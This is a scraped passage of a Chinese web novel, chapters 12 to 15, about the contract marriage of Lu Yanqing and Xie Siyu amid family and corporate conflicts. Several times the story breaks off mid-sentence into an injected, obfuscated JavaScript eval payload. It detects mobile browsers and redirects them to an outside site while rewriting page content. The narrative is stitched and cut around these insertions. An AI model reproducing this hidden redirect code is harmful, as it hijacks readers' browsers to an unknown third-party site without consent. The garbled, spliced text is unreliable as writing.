院子铁门缓缓开启,陆言卿望着廊前那株重瓣朱丽叶玫瑰——二十年多前沈若华亲手栽下时曾说“月季最守时”。 可最不守时的也是她。 如今花苞如期绽放,母女间的裂痕却永远停在了花期之外。 “姐!” 陆言薇提着裙摆奔下台阶直奔陆言卿,轻快的脚步来到她面前,指着厨房方向说,“刘妈做了你喜欢的酒酿圆子。” 客厅。 沈若华端坐在沙发,墨绿色丝绒旗袍,端庄又雍容。 她手中端着茶杯,看到女儿真切站在她面前,微微颤抖的手还是暴露了她隐忍的情绪。 “你的教养呢?连母亲都不会叫了吗?” 谢思虞察觉到陆言卿紧绷的身体,指尖轻轻划过她的掌心,随后握住她的手往客厅方向走:“妈,盒子里是卿卿亲自挑选的项链,希望您喜欢。” 说着将礼盒放在茶几上。 “哇,好美。” 丝绒礼盒被陆言薇打开,里面是一条红宝石项链,光影下它愈发璀璨耀眼。 沈若华目光闪烁,想起陆言卿6岁生日宴上摔碎的那枚胸针,同样颜色的宝石曾在她锁骨下方划出浅疤,如今被高领旗袍遮得严严实实。 12. 第12章 夜幕降临,陆家老洋房的客厅笼罩在暖黄光晕里。 陆言卿进屋后叫了一声妈就变得沉默,似乎三年不见,她们母女也无话可说。 父亲陆弘深是考古学家,年轻时因为工作需要满世界跑,如今是榕城C大历史学系的教授。 而母亲沈若华是外交官,他们两人能结婚,不过是父母之命媒妁之言。 夫妻二人婚后常年分局两地,沈若华发现自己怀孕,正是她工作的上升期,本来想要打掉的,是医生说她体质特殊,流产很伤身体。 权衡利弊之下,沈若华才同意生孩子,等孩子出生后,她都顾不上坐月子,更不顾丈夫公婆的劝说,执意抛下年幼的女儿,只身前往海外上任。 而陆弘深也忙着考古工作,不得不把孩子交给保姆照看,2岁那年,因保姆的疏忽,她高烧到惊厥,再晚一点送到医院,怕人都烧成傻子了。 是老爷子看不下去,才将她带到身边抚养。 等沈若华顺利晋升,工作上有一番作为,想要弥补,而大女儿在老爷子的抚养下,已经跌跌撞撞成长到5岁。 偏偏那时沈若华又意外怀了二胎,能分给大女儿的时间,少之又少。 再后来,陆言卿渐渐长大,已经不太需要母亲。 陪伴什么的,更不会奢求。 反正她的出生,就不被父母期待。 “妈,听李伯说姐这三年在国外是忙并购案的事情,她不是故意不联系我们。您别板着脸嘛,我都害怕。” 陆言薇小心翼翼盖好丝绒礼盒,重新坐回沈女士身边,自然而然挽着她的胳膊,刻意压低了声音。 她不希望姐姐和母亲总是吵架。 沈女士轻轻拍了拍小女儿的手背:“妈没有生气,而是你姐太任性,当初同意联姻的是她,领证第二天玩失踪的也是她。” “就算忙海外并购的事,在陆氏面临舆论危机股票下跌时,在思虞被人指指点点时,站出来澄清一两句话很难吗?” 陆言卿坐在沈女士右手边的沙发上,谢思虞挨着她,也许是心不在焉,她的手还被谢思虞紧紧握着。 眉眼低垂,听着沈女士说教,一声不吭。 似乎已经习惯了。 然而当她听到谢思虞被外人指指点点时,眼眸里神色变了变,哑声道:“这件事是我做的欠妥当。” 沈女士:“你知道就好。” 谢思虞捏了捏陆言卿的指尖,抬眸看向沈女士,温软解释:“妈,事情都过去了,再追究也没有意义,卿卿如今回来,往后我们会好好过。” 陆言卿适时松开谢思虞的手,知晓她是在宽沈女士的心,自然没有反驳。 只是那卷翘的睫羽轻轻颤了颤。 她们延长的婚姻,不过两年时间而已。 突然楼梯间传来不小的动静,几人不约而同看过去。 陆弘深结束和学生的远洋视频通话,火急火燎下楼,直奔客厅,将陆言卿拉起来仔仔细细打量,压在心里多年的石头可算落地:“还知道回来?” “爸。” 陆言卿闷闷喊了一声。 年过六旬的父亲两鬓多了些许白发,脸上皮肤黝黑,那是常年风吹日晒留下的痕迹。 她不得不承认,父亲也在渐渐老去。 陆弘深重重地叹息一声,拍了拍大女儿的肩膀,沉声道:“回来就好,回来就好。” 这三年来,他每次去医院看望父亲,他都是一副郁郁寡欢的模样。 医生说那是心病。 “集团的事再繁琐,也要顾好自己的身体,别跟思虞一样拼命,去年她在年会上致辞晕倒,可把我们吓的不轻……” “爸。” 谢思虞突然截断陆弘深的话,脸上露出无奈的笑容来,起身走到陆言卿身边,扯了扯她的衣袖,轻声解释,“没有爸说的那样严重,真的……只是意外。” 谢思虞在去年年会上晕倒。 陆言卿心再次紧了紧,前几天听刘瑶提起,如今就连一心扑在考古工作上的父亲都记忆深刻,只能说明那次谢思虞真的病的很重。 晚饭过后。 陆言卿拒绝了妹妹的提议,她和谢思虞留宿在老洋房,大概率只能同睡一张床。 她并没有忘记谢思虞有暗恋对象的事情,她们只是协议结婚。 因为吃了酒酿圆子,返程是由谢思虞开车,晚上九点零几分,她们抵达江海澜苑。 宾利车停在公寓楼下的停车位中,谢思虞按下安全带锁扣,脆响惊破车内寂静,伸手的动作带起橙花香风。 指尖压住陆言卿的腕表带,表盘蓝光映出她眼底的慌乱,“陆言卿,你没必要因为已经过去的事生气……” 陆言卿的手还放在门把手上,车门半开着,外面微凉的风吹进来,吹散了车内的热气,她回头看着谢思虞,车顶灯在她侧脸投下阴影。 “去年圣诞前夜D市分店物流系统崩溃。” 谢思虞无意识摩挲方向盘真皮纹路,“连着三天协调跨省货运,忘记吃药……才有了后面的事。” 想起那日抢救室天花板的白炽灯,和此刻车顶灯同样刺目。 夜风灌进来掀起谢思虞耳边的碎发,砰的一声陆言卿将车门关上,重新坐回副驾驶,挑眉看着前方绿化带里的万年青,语气沉重:“谢思虞你为什么觉得我会生气?” “但凡是个正常人,听到这样的事第一反应是担心吧?” 陆言卿反扣住谢思虞纤细的手腕,拇指抵住跳动的脉搏,一字一句顿道:“回来第一天在办公室,我见你吃药跟吞刀片似的。” 谢思虞闭了闭眼:“当时情况特殊……” 她试图抽手,却被陆言卿攥得更紧,只好作罢,“而且都已经过去了。” 陆言卿突然倾身逼近,远处路灯从右侧车窗玻璃透进来,两人交叠的影子有种说不出的暧昧:“特殊到胃出血还要强撑致辞?” 过去了。 多么轻描淡写的三个字。 陆言卿胸口莫名就涌出一股火气。 也不知道是生谢思虞的气,还是生她自己的气。 谢思虞的背脊抵住驾驶座门板,陆言卿的吐息拂过她锁骨,不止是身体,连带着胸腔里那颗心脏都颤抖的厉害。 突然间呼吸都变得滞涩起来:“我……” “谢总糟蹋身体的能耐我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不一会儿电梯门打开,她下意识抬脚往里走,因低头看手机里的文件,没注意到电梯里还有一个人,也没看见滚落脚边的皮球,直到耳畔响起熟悉的提示音:“陆言卿,看路。” 陆言卿踢到圆滚滚的皮球,脚下一个踉跄,身体直直往前扑去,谢思虞眼疾手快上前扶住她。 两人紧紧拥抱在一起。 严丝合缝,密不透风。 手机砸落在电梯里发出沉闷的声响,陆言卿穿着细高跟,哪里想到电梯里会有皮球? 借着谢思虞手臂的力量站稳身体,侧头时唇瓣不小心擦过她柔软的耳垂,霎那间愣了好几秒,反应过来赶紧往后退。 “谢……谢谢。” 弯腰将地上的手机捡起来,陆言卿盯着角落里的皮球,百般无奈,“谁家熊孩子掉了玩具都不知道吗?” 突如其来的吻。 严格意义上说都算不上吻。 却让谢思虞心跳如雷。 13. 第13章 深夜11点,公寓次卧。 陆言卿第三次触碰唇瓣,电梯里那个意外的吻在她脑海挥之不去。 喃喃自语:“她应该不介意吧?” 翻身坐起来,陆言卿盘腿坐着,笔记本电脑蓝光映着双栖云境商城撤店品牌,Elis门店的赤字报表格外显眼。 当初谢家是资金链断裂,才把谢思虞推出来联姻。 三年时间。 谢思虞把陆氏集团经营的很好,甚至更上一层楼,这说明她在管理一块天赋异禀,怎么谢家经营的服装品牌就每况愈下呢? 除非……是谢思虞故意放任。 “可为什么呢?” 陆言卿发现她真的一点也不了解谢思虞,二叔和陆言昭在周五股东大会上是有意挑拨她和谢思虞的关系,她之所以选择信任。 很大一部分原因是因为祖父。 叩叩。 次卧的房门被敲响。 陆言卿光脚踩过地暖瓷砖,开门时带起的风惊动书柜上玻璃花瓶里的橙色芭比—— 刚回来时谢思虞新换的,花瓣边缘还凝着保鲜剂的水珠。 门外。 谢思虞洗漱后穿着真丝睡裙,柔顺乌黑的长发随意用皮筋扎着,脸上卸了妆容,素颜也很漂亮。 大约是她骨相生的美,皮肤又白净。 “见你房间的灯一直亮着,是睡不着?” 垂眸见她没穿鞋,谢思虞温言提醒,“虽然家里开着地暖,还是把拖鞋穿上。” 陆言卿愣了下,慢吞吞转身回去穿鞋:“嗯,找我有事?” 谢思虞点点头:“算吧。出来坐坐?” 客厅。 陆言卿坐在沙发上,望着厨房的谢思虞,不经意询问:“我刚看了魏洁发来的数据资料,Elis在双栖云境有三分之一的门店面临撤店风险,你……打算怎么处理?” 谢思虞递给陆言卿一盒酸奶,在她右侧的单人沙发坐下来,真丝裙摆下的脚踝苍白如骨瓷。 没着急给出答案,而是提起一桩成年旧事:“我并非谢家的养女,我母亲是谢明远的初恋女友,原本他们是要结婚的,只不过我母亲红颜薄命,生下我不到半年就去世了。” 陆言卿捏着吸管的手紧了紧,她记得当初爷爷交给她谢思虞的个人资料,上面写的是谢家养女? “这些年你在谢家过的并不好。” 陆言卿吸管插在酸奶盒上,却一直没喝,说话用的也是陈述句。 谢思虞扯开领口,锁骨下方露出硬币大小的烫疤:“谢夫人发现我的存在时,那杯热茶本该泼在我脸上。” 想到什么又温柔地勾了勾唇,她喜欢的姑娘很聪慧,“确实,谢家有今天,是我故意放任的结果。” 酸奶从冰箱里拿出来,时间一长盒子外壁凝出薄薄的一层水汽,陆言卿没有追根究底,而是问:“需要我做什么?” 谢思虞忽然轻笑。 月光在她眼尾折出破碎的光:“半个月后,品牌商会议上宣布撤掉Elis三分之一的门店。” 陆言卿倚着柔软的沙发:“这个简单。” 凉凉的酸奶顺着食道进入胃里,突然想起她和谢思虞的联姻,无意识攥紧了酸奶盒,“那你为什么要答应跟我联姻?” 如果谢思虞在谢家过的并不好,那她为什么要替谢家填补窟窿? 袖手旁观不是更好吗? 谢思虞指尖陷入沙发缝隙,低头避开陆言卿直白坦诚的目光,不得不撒谎:“嗯……因为欠陆爷爷一个很大的人情。” 原来是因为祖父。 陆言卿在想事情,一盒酸奶早就见底了,被她用力吮吸就发出咕噜的声响。 “抱歉。” 突然觉得自己就是可恶的刽子手,深思熟虑后给出建议,“你替我守了陆氏三年,已经仁至义尽,我竟还提出延长婚约,要不然……我们提前终止协议吧?” 谢思虞心口猛地一颤,不自觉绷紧了腰背,眼尾微红,嗓音颤抖追问:“为什么?” 陆言卿抬眸看向谢思虞,犹豫片刻,还是坦言:“我听晚意说你有喜欢的人,你跟我结婚是为了偿还爷爷的恩情,三年真的够了,我……” “不够。” 谢思虞打断陆言卿的话,激动地站了起来,真丝裙摆在空中漾出破碎的弧度,向来克制隐忍的她情绪已在崩溃的边缘。 她好不容易才促成两家联姻,这人销声匿迹三年,回来才几天就要跟她离婚。 天底下没有这样的事。 餐厅照明灯将谢思虞单薄的影子拉长,她红着眼看向陆言卿,垂在身侧的手紧紧攥住了裙子,说了句半真半假的话:“她结婚了。” 陆言卿还想再劝,结果谢思虞给出的理由令她无言以对。 怎么说? 难不成支持谢思虞去横刀夺爱? 抢一个已婚的姑娘? 最终,提前终止协议的事,不了了之。 - 三日后,榕城杨氏地产公司老总的生日宴,请柬送到公司,陆言卿如今都回来了自然要出席。 下午两点,C家大牌的负责人送礼服过来。 谢思虞将礼服防尘罩的拉链缓缓拉开,真丝衬里流淌着珍珠般的光泽。 陆言卿已经搬到总裁办隔壁的办公室,但没有单独的休息间,谢思虞让她直接进里面休息间换:“礼服不合适,好让她们及时修改。” “后背拉链需要协助吗?” 指尖抚过礼服腰线处的立体剪裁,那里还残留着昨日修改时的粉笔记号。 陆言卿接过礼服,莫名就想起那天在电梯里的“吻”,下意识摇头:“不用。” 然而有时候就不能把话说的太满。 洗手间磨砂玻璃映出陆言卿晃动的身影,一阵窸窸窣窣的声音传出,谢思虞眼睑微垂,转身往外走。 这时洗手间里真丝布料摩擦声突然停滞,伴随一声极轻的抽气:“不会吧?” 洗手间内。 陆言卿已经很小心了,可怕什么就来什么,头发卡在了拉链里,用力拉扯直接卡的更死,就算是找到剪刀把头发剪断,卡在拉链里的头发也要弄出来才行。 百般无奈,只能寻求帮助:“谢思虞,你还在外面吗?拉链卡住了。” 谢思虞推门时带进一缕微凉的风,惊得陆言卿后背泛起细小疙瘩。 镜面瓷砖倒映出她光裸的蝴蝶骨,鱼尾裙腰线卡在胯骨处,拉链齿牙正咬着几缕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆言卿站着没动,很快又听到她说,“不是说饿了?”原来是因为她在车上无意间说的一句话。 “马卡龙太甜腻,换成蓝莓味的奶油蛋糕吧。” 谢思虞眨了眨眼,倒也没觉得不耐,重新把马卡龙放回盘子里,用夹子夹了一块正方形的奶油蛋糕,奶油上点缀着三颗蓝莓,上面还挂着晶莹的水珠。 “这块最漂亮。” 陆言卿接过碟子,尾指无意识摩挲瓷盘边缘,哭笑不得:“我不饿,是怕你空着肚子参加宴会,一会儿胃又难受。” 说完用银勺挖了块蛋糕喂到谢思虞嘴边。 谢思虞明显愣了下。 即便是担心她胃难受,也没必要亲自喂她吃蛋糕,突然感觉到周围有闪光灯,恍然明白。 因陆言卿一个举动而兵荒马乱的心,慢慢冷静下来。 稍稍低头,就着某人的手吃下蛋糕。 哪怕是做给外人看。 谢思虞也觉得这是她吃过最甜,最美味的奶油蛋糕。 14. 第14章 宴会现场。 刚恭维陆言卿的几位姑娘,把她喂谢思虞吃蛋糕的视频拍下来,发到姐妹群里,微信群有60几人,多数是榕城的富家千金。 当然,群里也混入了其他人,比如苏蔓。 【居然不是塑料妻妻?】 【大庭广众之下,陆言卿喂谢思虞吃蛋糕,做戏概率是几成?】 【商业联姻没有真爱,发视频那位你真的看清楚了吗?】 【之前不是说谢思虞有暗恋对象?她不可能喜欢陆言卿,所以肯定是做戏。】 【别把话说的太早,没准儿是陆言卿喜欢人家呢?她出国这三年,谢思虞掌权陆氏将它带到怎样的高度,多少人眼红?】 【刘姐姐这话我赞同,要不是谢思虞没跟陆言卿离婚,我都想追她,精明能干又温柔体贴的老婆谁不想要?反正我想要。】 【所以就是她陆言卿命好呗?】 【……】 短短十几分钟,微信群消息就99+。 陆言卿不知道大家背地里谈论的八卦,银叉尖戳着蓝莓蛋糕,奶油沾在谢思虞唇边时,满场快门声如潮水漫过。 喂蛋糕就是无意之举,不曾想会演变成这样。 只好将一整块蛋糕喂完。 “抱歉,不知道事情会变成这样……” 陆言卿放下瓷碟,弯腰时在谢思虞耳边解释,还想说点什么,抬眸见「云裳」老板娘杨姗正朝她走过来:“陆总好兴致。” 打完招呼又看向旁边的谢思虞,“难得在这样热闹的场合见到谢总。” 谢思虞睫羽轻颤,舌尖卷走唇角的甜腻,对杨姗微微颔首。 陆言卿对杨姗还算熟悉,因为当初「云裳」入驻双栖云境西郊店,还是她去拉来的品牌商。 红酒杯轻轻碰了碰杨姗手中的香槟:“有时间喝一杯吗?正好有点事跟杨总聊。” “好啊。” 杨姗今晚来参加宴会,没想到会碰到陆言卿和谢思虞,既然遇上了,因商场改造非遗茶文化廊的事,总要详细聊聊。 “那我们找个清净的地方。” 陆言卿不是第一次来君悦,当即决定去二楼的包厢,“谢总一起去?” 商场一楼改造的电子合同早就发给了杨姗,她之所以一直没来集团签字,是因为出差了。 谢思虞决定一同前往,偏偏这时包里手机连续震动了好几次,看到锁屏上弹出的消息,眸光微闪:“你们先去,我回个电话。” 陆言卿并未怀疑,带领杨姗往电梯方向走,而谢思虞则攥紧手机离开了宴会大厅。 与此同时。 距离榕城360公里的桐市,这里拥有国内规模最大的影视拍摄基地。 《神殒九霄》仙侠剧剧组正在拍摄一场夜戏,景区人工湖拱桥旁边。 初春的湖水泛着碎冰碴,苏蔓第三次沉入水下时强忍着颤意。 厚重的戏服吸饱冷水裹在身上,像无数根钢针刺入毛孔,她听见岸上执行导演的倒计时:“第4镜第3次——Action!” 男主饰演者陈末余的台词声隔着水面模糊传来,苏蔓按照剧本仰头浮出,呼吸间白雾被探照灯割裂:“师尊,弟子知错……”尾音被真实的颤抖切割得支离破碎。 “卡!”李越摔了剧本,违心说,“苏蔓眼神不够绝望,重来!” 场务连忙往湖里扔进第五块浮冰。 苏蔓扒着岸边青苔想起三天前经纪人的警告短信:【做好自己分内之事,手别伸的太长】。 “李导,苏蔓姐混身都冻僵了,让她休息会儿吧。” 见苏蔓瑟瑟发抖,接二连三打了好几个喷嚏,陈末余心虚地摸了摸鼻子,他一个大男人欺负女生,自己都不耻。 执行导演李越叹息一声,摆摆手:“全场休息十五分钟。” 苏蔓在助理黄凌的搀扶下回到保姆车。 暖风机轰鸣声盖不住苏蔓牙齿打颤的声响,黄凌用浴巾裹住苏蔓发紫的指尖,心疼的不行:“李导这两天到底怎么回事?我怎么感觉他在故意刁难。” “苏蔓姐,要不然你给邹总打个电话服软吧,让她敲打敲打剧组的人,再这样下去,你就是铁打的身体也受不住呀。” 苏蔓裹紧身上的毛毯,怀里抱着电热暖壶,低垂着头,眼眶隐隐发红,她不是没有服软,而是那人根本不搭理她。 电话不接,微信不回。 那人并不在榕城,去哪里出差她也不得而知。 手机屏幕亮起闺蜜群消息。 她们都在聊陆言卿和谢思虞,视频里陆言卿正用银叉喂谢思虞吃蛋糕,温柔又体贴。 大概没有对比就没有伤害。 “空调再调高些..……” 苏蔓蜷缩在座椅缝隙,湿发在真皮垫上洇出深色水痕。 保温杯里的姜茶早已冷透,就像那晚邹筱摔门而去的背影。 另一边,摄影组帐篷内。 李越坐在电脑前正和编剧通话,陈末余慵懒地窝在单人沙发里,今晚这一出确实是他们故意。 不由蹙眉:“苏蔓到底得罪谁了?她和星海娱乐的邹总交往,那位不保她?” 李越挂断电话,滑动鼠标浏览电脑屏幕上的新剧本,其中“璇玑仙子”的戏份被删减了三分之二。 璇玑仙子的饰演者正是苏蔓。 “投资方要求加新人。” 李越退出文档,苏蔓的武打戏全数替换成绿幕抠像,想都不用想电视剧播出后定然一片骂声,“星海娱乐有艺人说她最近和邹总闹矛盾,但真相是什么没人知道。” 陈末余唏嘘不已。 苏蔓如今是圈内的影后,依然无法跟资本对抗。 也不知道她到底动了谁的蛋糕。 - 话说回来,君悦大酒楼。 宴会厅通往后花园的长廊。 谢思虞倚着冰凉的石柱,一旁谢知瑶也穿着高定礼服,她对这位同父异母姐姐十分不客气:“谢思虞,别忘了你姓谢,虽然现在你是陆氏集团的总裁,别真的把自己当成陆家人。” “爸爸给你打电话你不接,市场部张经理三次到陆氏拜访你也拒而不见,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278674|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以你到底想干嘛?” 谢思虞眼帘低垂,好似没听到谢知瑶的话,任由她叽叽喳喳说个不停。 谢知瑶垂在两侧的手攥紧了拳头,她最讨厌谢思虞这幅风清云淡的模样,好像没有什么东西能令她动容。 咬着牙:“陆言卿回国,她才是陆氏名正言顺的继承人,你又能得意多久?” “爸让我转告你,半个月后品牌商大会,Elis绝对不能撤店,否则……你别想要回你母亲的遗物。” 母亲,遗物。 听到谢知瑶的话,谢思虞眼底的平静不在,取而代之是泠冽,不远处有侍应生走过来,她站直身体,慢慢弯腰往谢知瑶那边倾斜。 温声警告:“别总拿这件事威胁我,万一哪天我真的发疯,会拉着谢氏一起陪葬,你别不信。” “你——” 谢知瑶瞪大眼睛,猛地推开谢思虞,怒火中烧也忘记伪装淑女:“你敢!爸爸不会让这种事发生,谢思虞别忘了你只是谢家的养女,除却这个身份,你以为陆言卿还会要你吗?榕城有大把的人等着嫁给她!” 谢思虞穿着细高跟,被谢知瑶用力一推,身体惯性往后退,不小心撞到身后的石柱,腰际隐隐作痛。 谢家养女。 呵。 以为她真的稀罕? 谢思虞嗤笑,眼中一片冷意,突然右侧出现陆言卿熟悉的身影,眸光微闪有了主意,走到谢知瑶跟前刻意压低了声音:“养女?你知道我可不是什么养女……” “闭嘴!谢思虞你给我闭嘴——” 谢知瑶第一反应是阻止,不能让外人知道谢思虞的真实身份,抬起手就要往她脸上打,却被身后赶来的人扼住手腕。 对方的力气很大,竟一时无法挣脱,回头看清楚是谁,某名有一丝心虚:“言卿姐,你,你别误会。” 陆言卿甩开谢知瑶的手,走到谢思虞身边,用不太客气的语气说:“她不仅是你姐姐,还是我陆言卿的妻子,你们谢家不在意,有的是人喜欢。” “不是……” 谢知瑶揉着被陆言卿捏痛的手腕,看到谢思虞嘴角勾起的哂笑,才反应过来她刚就是故意激怒自己,顿时气的浑身发抖。 “谢思虞你装什么无辜!肮脏的手段居然用我身上,你不要脸——” 陆言卿想起谢思虞锁骨下方的烫伤伤疤,眼前谢知瑶的耍横无礼,脸色愈发的沉:“当着我的面还敢说这种话,是觉得我脾气很好?” “是不是觉得Elis撤店的速度太慢?我看也别等到半个月后的大会了,明天我就通知下去。” 谢知瑶敢明目张胆羞辱谢思虞,却不敢在陆言卿面前耍威风,况且出门前爸爸千叮咛万嘱咐,务必要说动陆言卿明晚回谢家老宅吃饭。 谢思虞确实有能耐,竟让陆言卿这般维护她。 指尖陷入掌心,谢知瑶忍着不甘心,第一次在谢思虞面前低头服软:“谢思虞对不起,我不该诋毁你。” 而后又看向陆言卿,恭敬道,“言卿姐,我不懂事,您别跟我一般计较。Elis不能撤店……” 15. 第15章 夜里微凉的风顺着礼服镂空位置钻进后腰时,谢思虞才意识到撞伤比想象中严重。 谢知瑶违心的道歉她并不需要,走廊围观的人越来越多,不少人拿着手机拍照,她轻轻扯了扯陆言卿的衣袖,温柔的嗓音响起:“先进宴会厅吧。” 陆言卿岂会没看出谢知瑶的敷衍,轻轻揽过谢思虞的腰往宴会大厅走,一个眼神没给对方,更别提答应她的请求。 “言卿……陆总,刚真的是谢思虞故意激怒我,不信您可以调看监控。” 谢知瑶这次真的慌了神,要是爸爸交代的事情搞砸,回家可不会有好果子等着她。 见陆言卿要走,急忙上前去拦,慌乱时看到走廊不远处的监控,眼睛一亮,似乎有了底气。 “有监控又如何?” 陆言卿突然轻笑,看谢知瑶好像一个跳梁小丑,她到底哪里来的自信,觉得她会站在她那边? 拇指隔着薄薄的布料按在谢思虞腰窝,感觉她微颤的身体,陆言卿好奇往她后腰看去,下一瞬,视线凝在她礼服镂空处。 雪白如瓷的皮肤上赫然有一块青紫淤痕,应该是撞到了坚硬的物体上,边缘泛着暗红血丝。 三分钟后。 走廊尽头的洗手间。 冷白色顶灯照下来,这才将谢思虞后腰的撞伤看清,陆言卿半蹲着身体,指尖悬在淤青上方半寸,沉声问:“谢知瑶弄的?” 温热气息拂过肌肤,谢思虞强忍着颤栗,稍稍侧过身体,避开陆言卿的视线:“不小心撞的。” 陆言卿重重地吐出一口气,拿出手机给等候在外的刘瑶发信息:把车上我的羊绒西装拿到宴会厅来。 谢思虞望着地上她们部分重叠的影子,宛如亲密交织的藤蔓,不由陷入了回忆中。 三年前陆言卿消失,陆爷爷执意要她担任陆氏集团的总裁,记者发布会,有人将红酒故意洒在她白色礼服上。 那时全场人都在看她的笑话。 她多么希望陆言卿能出现,可直到发布会结束,她也没有出现。 但今天,她就在她的身边。 真好。 “不疼吗?还笑?” 谢思虞耳畔传来某人凌厉的嗓音,羊绒西装已经裹住了她的腰际,且带着一股淡淡的雪松香,是陆言卿身上的味道。 陆言卿展开外套时,西装袖口处的袖扣不小心勾到谢思虞的一缕发丝,怕弄疼她,于是朝她又走近了半步。 眼睑低垂,瞥见她嘴角勾起的清浅弧度,当真是气笑了。 谢思虞樱粉的唇瓣微抿,眼眸中漾着温柔的笑意道谢,不着痕迹转移话题:“「云裳」杨总怎么说?同意我们给出的暗线补偿吗?” “嗯,商场改造期间,「云裳」迁移至二楼儿童乐园旁,定制#亲子茶艺课#专属活动,客流量不减反增,她没理由不同意。” 陆言卿三言两语解释了刚才和杨姗的谈判过程,要是没记错,君悦酒楼对面有药店? 再次解锁手机屏幕,一边发消息一边说:“已经拜访过杨氏夫妇,我们回吧,你腰上的撞伤需要处理。” - 负一楼停车场。 宾利车后排,车厢顶灯被调成了暖光。 “把西装脱下来,我帮你涂抹红花油。” 刘瑶办事效率很高,她们刚回到车上,她便买了红花油回来,并且还从奶茶店买了些冰块。 陆言卿摘了右手上的婚戒搁在中央储物盒里,用丝巾缠裹装有冰块的饮品塑料杯,三层真丝缓冲了寒意,她托在掌心试了试温度。 狭窄安静的车厢里,冰块撞击的声响让谢思虞心跳不稳,她脱西装的手都有些抖,局促且慌乱:“让刘瑶来就好。” 然而她欲躲的肩膀被一只温热的掌心压住,“别动。” 陆言卿好像没注意到谢思虞的紧张,左手虚托着她侧腰,将饮品杯贴上了那片淤青,“撞伤最初不能揉,冷敷可以减少肿胀,稍后我再帮你抹药。” 冰块触碰到肌肤,酸胀感瞬间炸开,谢思虞抓紧了怀里的羊绒西装,额头抵着车窗玻璃,长睫好似蝶翼轻颤。 陆言卿身上雪松尾调缠绕着白山茶,清淡泠冽的味道一个劲儿往她鼻子里钻,谢思虞闭上眼睛,数着那人呼吸的频率,发现与自己心跳渐渐重合。 也不知道是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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次日是个阴雨天,晨雾扑在谢家老宅的彩绘玻璃窗上。 谢明远刚坐在餐桌前咬了口溏心蛋,公司市场部张经理就打来的电话:「谢总出事了!陆氏总部十分钟前发布了红头文件,要撤掉我们在D市和H市的门店。」 “你说什么!” 谢明远闻言脸色立刻就黑了下来,装着豆浆的玻璃杯被他重重地落在餐桌上,溅的到处都是。 旁边谢夫人周静旗袍上也被波及,一时她的脸色也变得难看,今天她要去基金会见重要的客户,那位老夫人喜爱旗袍,所以她从半个月前就开始准备。 攥着湿巾擦拭袖口,瞥见丈夫黑青的脸色,到嘴边的抱怨又咽了回去:“到底发生什么事了?大清早就发脾气。” 挂断电话,谢明远强忍着怒火,甩开妻子为他擦手的纸巾:“出什么事?陆氏要撤掉Elis的门店,还是两家。” 注意到妻子旁边空无一人,眼底的怒火压都压不住,“这都几点了,去把谢知瑶给我叫下来!我倒要问问昨晚在君悦酒店发生了何事,不是早就叮嘱过她要把事情办好?” 要撤掉Elis两家门店? 周静当然知道事情的严重性,同谢明远结婚多年,深知他最看重什么,当即也顾不上清理旗袍上的污渍,转身就往楼上走。 叩叩。 “瑶瑶?快起来,你爸有事问你。” 周静站在二楼走廊敲响女儿的房门,换是平时她有耐心等,可楼下丈夫还在等,只好扭动门把手推门而入。 先是来到窗边拉开窗帘,又走到床边,拍打谢知瑶胳膊的同时,把盖在她身上的羽绒被掀开:“别睡了,赶紧起来穿衣服下楼。” 心惊胆战了一晚上的谢知瑶,凌晨三点才睡着,这会儿睡意正浓,哪里想起床。 从母亲手里抢回被子蒙住了脑袋,被子里传出她软绵绵的声音:“妈,有事等会儿再说,我困……” 周静眉头紧锁,她最见不得女儿这幅懒惰散漫的模样,明明都是谢明远的种,为什么那个女人生的孩子就温柔娴静,知书达理? 不能想,越想越生气。 她坚决不承认那个女人比她强。 “你爸正因为Elis撤店的事动怒,要找你问清楚事情缘由,昨晚你在君悦没见到谢思虞?” 撤店? 动怒? 谢知瑶瞬间睡意全无,翻身坐起来,先是看向敞开着的房门,好似要透过无数墙壁看到楼下的父亲。 烦躁不安地抓了抓头发,问:“妈你确定没听错?Elis真的被撤店了?” 周静抿着唇:“具体情况不清楚,反正你爸挺生气的。不是让你叫谢思虞带着陆言卿回家吃饭?” “别提了。” 想到这个谢知瑶就窝火,光脚踩在地板上,直奔浴室洗漱。 谢思虞那个女人跟她玩心机,偏偏陆言卿还那般维护她,该死的,明明她都道歉了,她们还想怎样啊。 十分钟后。 老宅楼下,谢明远看着邮箱里陆氏发来的撤店文件,太阳穴突突地跳,气的拍桌子:“给我解释清楚,是不是你又招惹思虞了?” 谢知瑶素面朝天,在睡裙外裹了件长款羊绒大衣,面对父亲的怒火,她吓的浑身一颤,低垂着头支支吾吾道:“我没惹她,是她把恶心的手段用我身上,陆言卿……她不是不喜欢谢思虞吗?” 谢明远因动怒颈侧青筋凸起,听女儿嘀咕的话,还有什么不明白的? 